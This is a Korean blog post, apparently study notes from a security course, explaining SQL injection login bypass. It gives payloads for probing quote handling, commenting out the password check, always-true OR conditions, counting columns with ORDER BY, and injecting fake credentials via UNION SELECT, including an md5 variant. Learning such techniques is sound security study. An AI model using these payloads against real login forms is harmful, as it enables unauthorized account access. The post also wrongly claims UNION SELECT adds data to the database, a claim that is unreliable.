Login Bypass 필요한 개념

황인환·2024년 5월 19일

로그인 우회 로직(특수문자 기입가능하다는 가정)

1. 'and'1'='1 넣어보기

-'and'1'='1 넣어서 sql문안에 다른 특수문자 확인

  • id pw를 알고 있어야함 (로그인 하고싶은 id 말고)
    id aaa'and'1'='1
    pw aaa

SELECT ???(컬럼) FROM ???(테이블) WHERE ???(컬럼)=''(데이터)
위와 같은 문장이 완성된다.

설명

ex)
WHERE id = '' <- 되어있으면 통과
WHERE id = ('') <-되어있으면 실패
알 수 있는것 WHERE id 컬럼 =' ' <- 부분이
1.'일수도
2.')일수도
있다.

2.로그인 식별인증 분리&동시 or 개행구문 확인

  • 정확한 아이디를 입력하고 비밀번호를 아무것이나 입력하고 아이디 뒤쪽을 주석처리하기
    id: (로그인 하고싶은 아이디)'#
    pw: (아무런 글)
    로그인이 된다면
    SELECT ??? FROM ??? WHERE ???(id)=''#and pw=''

설명

이 방식은 아이디 뒤에 '#을 넣음으로써 뒤에 모든 문장을 주석으로 만들어
작동하지 않게 만든 것이다.

- 로그인이 안된다면

-> 이 로그인 페이지는 인증 식별 분리 형태이거나 개행구문으로 만들어졌을 가능성이 높다.

3. 개행구문확인 & 모든 데이터를 불러올 수 있는지 확인

  • 'or'1'='1를 활용하여 확인하기
    모든 데이터를 불러올 수 있는 이유는 '1'='1'은 항상 참이기 때문에 사실상 모든 데이터를 반환 받을 수 있다.
    'or'1'='1' --도 가능 -> 성공하면 식별인증 동시
    'or'1'='1'#도 가능 -> 성공하면 식별인증 동시
    id: (로그인 하고싶은 아이디)'or'1'='1
    pw: (아무런 글)
    로그인에 성공하면
SELECT ??? FROM ??? WHERE ???(id)='doldol' 
or '1'='1'and pw='1' 

로 sql구문이 구성 되었을 가능성이 높다고 생각 한다.

설명

이 방식이 가능한 이유는 sql구문의 우선 순위는 NOT > AND > OR이기 때문에 뒤에 pw구문부터 실행된다.
이때 '1'='1'은 True 그러나 pw는 Fail <- 아무 글자써서
그래서 결론은 Fail이 나오지만
앞에 id가 DB에 있는 id이라서 True
전체적으로 True (or때문) -> 로그인 성공

-로그인이 안된다면

-> 인증과 식별이 분리되었을 가능성이 높다.

식별인증이 분리된 경우

union select을 활용한다.
union select은 데이터베이스에 데이터를 추가하는 것이다.

사용하기 전에 무조건 컬럼의 수를 알아야한다.
컬럼의 수를 알기 위해서는 (아이디(abc) 비밀번호(123) 알고 있다는 가정)

id: abc' order by n# <- n에 숫자입력
pw: 123

n에 숫자를 1, 2, 3,... 계속 늘려본다.
error가 발생하면 그전까지 컬럼이 존재하는 것이다.

order by 설명

보통 order by [칼럼이름][정렬방식]이 온다. <- 정렬방식은 생략가능
여기서 칼럼이름에 숫자를 넣어도 적용되어
이 부분으로 칼럼 숫자를 파악하는 것이다.

칼럼 수를 파악 후

위에 데이터 베이스라는 가정
id: ' union select '1','1'#(모든 칼럼 글 통일)
pw: 1(id에 적었던 비밀번호 칼럼에 있는 비밀번호)
모든 칼럼 글을 ex) '1' ->'a' 통일해야함
왜냐하면 칼럼의 순서를 모르기 때문이다.

ex) union select 적용예시 (첫번째 컬럼은 id 두번쨰는 pw)
id: ' union select 'aa','bb'#(모든 칼럼 글 통일)
pw: bb(id에 적었던 비밀번호 칼럼에 있는 비밀번호)

- 로그인 실패시

1. 컬럼의 순서

ex) 위에서는 id pw 순서지만 반대로 pw id 일 가능성이 있다.
-> 반대라면 ' union select 'aa','bb'#에서는 aa가 비밀번호 bb가 아이디가 된다.
만약 칼럼이 여러개라면 패스워드 고정하고 아래와 같이 시도해야한다.
' union select 'aa','1','1'#
' union select '1','aa','1'#
' union select '1','1','aa'#

2.비밀번호 hash 가능성

md5 경우
id: ' union select 'aa', md5('bb')#
pw: bb(id에 적었던 비밀번호 칼럼에 있는 비밀번호)

이때 md5에는 ''를 붙이지 않는다.

normaltic study 5주차

0개의 댓글